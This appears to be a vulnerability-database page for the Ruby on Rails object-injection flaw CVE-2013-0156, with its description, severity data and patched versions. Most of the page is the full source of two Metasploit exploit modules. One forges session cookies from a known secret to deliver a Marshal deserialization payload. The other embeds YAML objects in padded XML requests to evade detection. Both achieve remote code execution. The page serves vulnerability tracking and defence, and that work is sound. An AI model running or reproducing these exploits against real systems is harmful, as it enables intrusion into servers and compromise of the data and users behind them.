CVE-2013-0156

high
Published 2013-01-08 ยท Modified 2024-11-30
CVSS v3
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CVSS v4 NEW
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not yet in upstream
VIR risk
8.5

Description

active_support/core_ext/hash/conversions.rb in Ruby on Rails before 2.3.15, 3.0.x before 3.0.19, 3.1.x before 3.1.10, and 3.2.x before 3.2.11 does not properly restrict casts of string values, which allows remote attackers to conduct object-injection attacks and execute arbitrary code, or cause a denial of service (memory and CPU consumption) involving nested XML entity references, by leveraging Action Pack support for (1) YAML type conversion or (2) Symbol type conversion.

Predictions

Exploit likelihood
90%
Patch ETA
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Mitigations

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Exploits

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Exploit-DB

EDB-27527 remote multiple verified ruby ยท 9 KB
Metasploit ยท 2013-08-12

Ruby on Rails - Known Secret Session Cookie Remote Code Execution (Metasploit)

ruby exploit Source: Exploit-DB
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  #Helper Classes copy/paste from Rails4
  class MessageVerifier

    class InvalidSignature < StandardError; end

    def initialize(secret, options = {})
      @secret = secret
      @digest = options[:digest] || 'SHA1'
      @serializer = options[:serializer] || Marshal
    end

    def generate(value)
      data = ::Base64.strict_encode64(@serializer.dump(value))
      "#{data}--#{generate_digest(data)}"
    end

    def generate_digest(data)
      require 'openssl' unless defined?(OpenSSL)
      OpenSSL::HMAC.hexdigest(OpenSSL::Digest.const_get(@digest).new, @secret, data)
    end

  end

  class MessageEncryptor

    module NullSerializer #:nodoc:

      def self.load(value)
        value
      end

      def self.dump(value)
        value
      end

    end

    class InvalidMessage < StandardError; end

    OpenSSLCipherError = OpenSSL::Cipher::CipherError

    def initialize(secret, *signature_key_or_options)
      options = signature_key_or_options.extract_options!
      sign_secret = signature_key_or_options.first
      @secret = secret
      @sign_secret = sign_secret
      @cipher = options[:cipher] || 'aes-256-cbc'
      @verifier = MessageVerifier.new(@sign_secret || @secret, :serializer => NullSerializer)
      # @serializer = options[:serializer] || Marshal
    end

    def encrypt_and_sign(value)
      @verifier.generate(_encrypt(value))
    end

    def _encrypt(value)
      cipher = new_cipher
      cipher.encrypt
      cipher.key = @secret
      # Rely on OpenSSL for the initialization vector
      iv = cipher.random_iv
      #encrypted_data = cipher.update(@serializer.dump(value))
      encrypted_data = cipher.update(value)
      encrypted_data << cipher.final
      [encrypted_data, iv].map {|v| ::Base64.strict_encode64(v)}.join("--")
    end

    def new_cipher
      OpenSSL::Cipher::Cipher.new(@cipher)
    end

  end

  class KeyGenerator

    def initialize(secret, options = {})
      @secret = secret
      @iterations = options[:iterations] || 2**16
    end

    def generate_key(salt, key_size=64)
      OpenSSL::PKCS5.pbkdf2_hmac_sha1(@secret, salt, @iterations, key_size)
    end

  end

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Ruby on Rails Known Secret Session Cookie Remote Code Execution',
      'Description'    => %q{
          This module implements Remote Command Execution on Ruby on Rails applications.
          Prerequisite is knowledge of the "secret_token" (Rails 2/3) or "secret_key_base"
          (Rails 4). The values for those can be usually found in the file
          "RAILS_ROOT/config/initializers/secret_token.rb". The module achieves RCE by
          deserialization of a crafted Ruby Object.
      },
      'Author'         =>
        [
          'joernchen of Phenoelit <joernchen[at]phenoelit.de>',
        ],
      'License'        => MSF_LICENSE,
      'References'  =>
        [
          ['URL', 'https://charlie.bz/blog/rails-3.2.10-remote-code-execution'], #Initial exploit vector was taken from here
          ['URL', 'http://robertheaton.com/2013/07/22/how-to-hack-a-rails-app-using-its-secret-token/']
        ],
      'DisclosureDate' => 'Apr 11 2013',
      'Platform'       => 'ruby',
      'Arch'           => ARCH_RUBY,
      'Privileged'     => false,
      'Targets'        =>  [ ['Automatic', {} ] ],
      'DefaultTarget' => 0))

    register_options(
      [
        Opt::RPORT(80),
        OptInt.new('RAILSVERSION', [ true, 'The target Rails Version (use 3 for Rails3 and 2, 4 for Rails4)', 3]),
        OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]),
        OptString.new('HTTP_METHOD', [ true, 'The HTTP request method (GET, POST, PUT typically work)', "GET"]),
        OptString.new('SECRET', [ true, 'The secret_token (Rails3) or secret_key_base (Rails4) of the application (needed to sign the cookie)', nil]),
        OptString.new('COOKIE_NAME', [ false, 'The name of the session cookie',nil]),
        OptString.new('DIGEST_NAME', [ true, 'The digest type used to HMAC the session cookie','SHA1']),
        OptString.new('SALTENC', [ true, 'The encrypted cookie salt', 'encrypted cookie']),
        OptString.new('SALTSIG', [ true, 'The signed encrypted cookie salt', 'signed encrypted cookie']),
        OptBool.new('VALIDATE_COOKIE', [ false, 'Only send the payload if the session cookie is validated', true]),

      ], self.class)
  end


  #
  # This stub ensures that the payload runs outside of the Rails process
  # Otherwise, the session can be killed on timeout
  #
  def detached_payload_stub(code)
  %Q^
    code = '#{ Rex::Text.encode_base64(code) }'.unpack("m0").first
    if RUBY_PLATFORM =~ /mswin|mingw|win32/
      inp = IO.popen("ruby", "wb") rescue nil
      if inp
        inp.write(code)
        inp.close
      end
    else
      Kernel.fork do
        eval(code)
      end
    end
    {}
  ^.strip.split(/\n/).map{|line| line.strip}.join("\n")
  end

  def check_secret(data, digest)
    data = Rex::Text.uri_decode(data)
    if datastore['RAILSVERSION'] == 3
      sigkey = datastore['SECRET']
    elsif datastore['RAILSVERSION'] == 4
      keygen = KeyGenerator.new(datastore['SECRET'],{:iterations => 1000})
      sigkey = keygen.generate_key(datastore['SALTSIG'])
    end
    digest == OpenSSL::HMAC.hexdigest(OpenSSL::Digest::Digest.new(datastore['DIGEST_NAME']), sigkey, data)
  end

  def rails_4
    keygen = KeyGenerator.new(datastore['SECRET'],{:iterations => 1000})
    enckey = keygen.generate_key(datastore['SALTENC'])
    sigkey = keygen.generate_key(datastore['SALTSIG'])
    crypter = MessageEncryptor.new(enckey, sigkey)
    crypter.encrypt_and_sign(build_cookie)
  end

  def rails_3
    # Sign it with the secret_token
    data = build_cookie
    digest = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::Digest.new("SHA1"), datastore['SECRET'], data)
    marshal_payload = Rex::Text.uri_encode(data)
    "#{marshal_payload}--#{digest}"
  end

  def build_cookie

    # Embed the payload with the detached stub
    code =
      "eval('" +
      Rex::Text.encode_base64(detached_payload_stub(payload.encoded)) +
      "'.unpack('m0').first)"

    if datastore['RAILSVERSION'] == 4
      return "\x04\b" +
      "o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\b" +
        ":\x0E@instanceo" +
          ":\bERB\x06" +
            ":\t@src"+  Marshal.dump(code)[2..-1] +
        ":\f@method:\vresult:" +
        "\x10@deprecatoro:\x1FActiveSupport::Deprecation\x00"
    end
    if datastore['RAILSVERSION'] == 3
      return Rex::Text.encode_base64 "\x04\x08" +
      "o"+":\x40ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy"+"\x07" +
        ":\x0E@instance" +
          "o"+":\x08ERB"+"\x06" +
            ":\x09@src" +
              Marshal.dump(code)[2..-1] +
        ":\x0C@method"+":\x0Bresult"
    end
  end

  #
  # Send the actual request
  #
  def exploit
    if datastore['RAILSVERSION'] == 3
      cookie = rails_3
    elsif datastore['RAILSVERSION'] == 4
      cookie = rails_4
    end
    cookie_name = datastore['COOKIE_NAME']

    print_status("Checking for cookie #{datastore['COOKIE_NAME']}")
    res = send_request_cgi({
      'uri'    => datastore['TARGETURI'] || "/",
      'method' => datastore['HTTP_METHOD'],
    }, 25)
    if res && res.headers['Set-Cookie']
      match = res.headers['Set-Cookie'].match(/([_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+); /)
    end

    if match
      if match[1] == datastore['COOKIE_NAME']
        print_status("Found cookie, now checking for proper SECRET")
      else
        print_status("Adjusting cookie name to #{match[1]}")
        cookie_name = match[1]
      end

      if check_secret(match[2],match[3])
        print_good("SECRET matches! Sending exploit payload")
      else
        fail_with(Exploit::Failure::BadConfig, "SECRET does not match")
      end
    else
      print_warning("Caution: Cookie not found, maybe you need to adjust TARGETURI")
      if cookie_name.nil? || cookie_name.empty?
        # This prevents trying to send busted cookies with no name
        fail_with(Exploit::Failure::BadConfig, "No cookie found and no name given")
      end
      if datastore['VALIDATE_COOKIE']
        fail_with(Exploit::Failure::BadConfig, "COOKIE not validated, unset VALIDATE_COOKIE to send the payload anyway")
      else
        print_status("Trying to leverage default controller without cookie confirmation.")
      end
    end

    print_status "Sending cookie #{cookie_name}"
    res = send_request_cgi({
      'uri'     => datastore['TARGETURI'] || "/",
      'method'  => datastore['HTTP_METHOD'],
      'headers' => {'Cookie' => cookie_name+"="+ cookie},
    }, 25)

    handler
  end

end
EDB-24019 remote multiple verified ruby ยท 5 KB
Metasploit ยท 2013-01-10

Ruby on Rails - XML Processor YAML Deserialization Code Execution (Metasploit)

ruby exploit Source: Exploit-DB
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::CmdStagerTFTP
	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Ruby on Rails XML Processor YAML Deserialization Code Execution',
			'Description'    => %q{
					This module exploits a remote code execution vulnerability in the XML request
				processor of the Ruby on Rails application framework. This vulnerability allows
				an attacker to instantiate a remote object, which in turn can be used to execute
				any ruby code remotely in the context of the application.

				This module has been tested across multiple versions of RoR 3.x and RoR 2.x
			},
			'Author'         =>
				[
					'charlisome',  # PoC
					'espes',       # PoC and Metasploit module
					'lian',        # Identified the RouteSet::NamedRouteCollection vector
					'hdm'          # Module merge/conversion/payload work
				],
			'License'        => MSF_LICENSE,
			'References'  =>
				[
					['CVE', '2013-0156'],
					['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/01/09/serialization-mischief-in-ruby-land-cve-2013-0156']
				],
			'Platform'       => 'ruby',
			'Arch'           => ARCH_RUBY,
			'Privileged'     => false,
			'Targets'        =>	[ ['Automatic', {} ] ],
			'DisclosureDate' => 'Jan 7 2013',
			'DefaultTarget' => 0))

		register_options(
			[
				Opt::RPORT(80),
				OptString.new('URIPATH', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]),
				OptString.new('HTTP_METHOD', [ true, 'The HTTP request method (GET, POST, PUT typically work)', "POST"])

			], self.class)

		register_evasion_options(
			[
				OptBool.new('XML::PadElement', [ true, 'Pad the exploit request with randomly generated XML elements', true])
			], self.class)
	end


	#
	# This stub ensures that the payload runs outside of the Rails process
	# Otherwise, the session can be killed on timeout
	#
	def detached_payload_stub(code)
	%Q^
		code = '#{ Rex::Text.encode_base64(code) }'.unpack("m0").first
		if RUBY_PLATFORM =~ /mswin|mingw|win32/
			inp = IO.popen("ruby", "wb") rescue nil
			if inp
				inp.write(code)
				inp.close
			end
		else
			if ! Process.fork()
				eval(code) rescue nil
			end
		end
	^.strip.split(/\n/).map{|line| line.strip}.join("\n")
	end

	#
	# Create the YAML document that will be embedded into the XML
	#
	def build_yaml_rails2

		# Embed the payload with the detached stub
		code = Rex::Text.encode_base64( detached_payload_stub(payload.encoded) )
		yaml =
			"--- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection\n" +
			"'#{Rex::Text.rand_text_alpha(rand(8)+1)}; " +
			"eval(%[#{code}].unpack(%[m0])[0]);' " +
			": !ruby/object:ActionController::Routing::Route\n segments: []\n requirements:\n   " +
			":#{Rex::Text.rand_text_alpha(rand(8)+1)}:\n     :#{Rex::Text.rand_text_alpha(rand(8)+1)}: " +
			":#{Rex::Text.rand_text_alpha(rand(8)+1)}\n"
		yaml
	end


	#
	# Create the YAML document that will be embedded into the XML
	#
	def build_yaml_rails3

		# Embed the payload with the detached stub
		code = Rex::Text.encode_base64( detached_payload_stub(payload.encoded) )
		yaml =
			"--- !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection\n" +
			"'#{Rex::Text.rand_text_alpha(rand(8)+1)}; " +
			"eval(%[#{code}].unpack(%[m0])[0]);' " +
			": !ruby/object:OpenStruct\n table:\n  :defaults: {}\n"
		yaml
	end


	#
	# Create the XML wrapper with any desired evasion
	#
	def build_request(v)
		xml = ''

		elo = Rex::Text.rand_text_alpha(rand(12)+4)

		if datastore['XML::PadElement']
			xml << "<#{elo}>"

			1.upto(rand(1000)+50) do
				el = Rex::Text.rand_text_alpha(rand(12)+4)
				tp = ['string', 'integer'][ rand(2) ]
				xml << "<#{el} type='#{tp}'>"
				xml << ( tp == "integer" ? Rex::Text.rand_text_numeric(rand(8)+1) : Rex::Text.rand_text_alphanumeric(rand(8)+1) )
				xml << "</#{el}>"
			end
		end

		el = Rex::Text.rand_text_alpha(rand(12)+4)
		xml << "<#{el} type='yaml'>"
		xml << (v == 2 ? build_yaml_rails2 : build_yaml_rails3)
		xml << "</#{el}>"

		if datastore['XML::PadElement']
			1.upto(rand(1000)+50) do
				el = Rex::Text.rand_text_alpha(rand(12)+4)
				tp = ['string', 'integer'][ rand(2) ]
				xml << "<#{el} type='#{tp}'>"
				xml << ( tp == "integer" ? Rex::Text.rand_text_numeric(rand(8)+1) : Rex::Text.rand_text_alphanumeric(rand(8)+1) )
				xml << "</#{el}>"
			end

			xml << "</#{elo}>"
		end

		xml
	end

	#
	# Send the actual request
	#
	def exploit

		print_status("Sending Railsv3 request to #{rhost}:#{rport}...")
		res = send_request_cgi({
			'uri'    => datastore['URIPATH'] || "/",
			'method' => datastore['HTTP_METHOD'],
			'ctype'  => 'application/xml',
			'data'   => build_request(3)
		}, 25)
		handler

		print_status("Sending Railsv2 request to #{rhost}:#{rport}...")
		res = send_request_cgi({
			'uri'    => datastore['URIPATH'] || "/",
			'method' => datastore['HTTP_METHOD'],
			'ctype'  => 'application/xml',
			'data'   => build_request(2)
		}, 25)
		handler
	end
end

Metasploit modules

Ruby on Rails XML Processor YAML Deserialization Scanner
Source fetch failed: fetch_error โ€” view the original via the link above.
Ruby on Rails Known Secret Session Cookie Remote Code Execution
Source fetch failed: fetch_error โ€” view the original via the link above.
Ruby on Rails XML Processor YAML Deserialization Code Execution
Source fetch failed: fetch_error โ€” view the original via the link above.

OS impact

debian Debian Mixed 7 releases
VersionStatusFixed in
trixie Fixed 2.3.14.1
sid Fixed 2.3.14.1
forky Fixed 2.3.14.1
bullseye Fixed 2.3.14.1
bookworm Fixed 2.3.14.1
7.0 Affected โ€”
6.0 Affected โ€”

Package impact

EcosystemPackageVulnerableFixed
ruby RubyGemsactionpack<~> 2.3.15~> 2.3.15
ruby RubyGemsactionpack<2.3.152.3.15
ruby RubyGemsactionpack>=3.0.0,<3.0.193.0.19
ruby RubyGemsactionpack>=3.1.0,<3.1.103.1.10
ruby RubyGemsactionpack>=3.2.0,<3.2.113.2.11

Application impact

VendorProductVersionsFixed
rubyonrailsrails{"startIncluding":"3.2.0","endExcluding":"3.2.11"}3.2.11
rubyonrailsruby_on_rails{"endExcluding":"2.3.15"}2.3.15

References

CWEs

CWE-20

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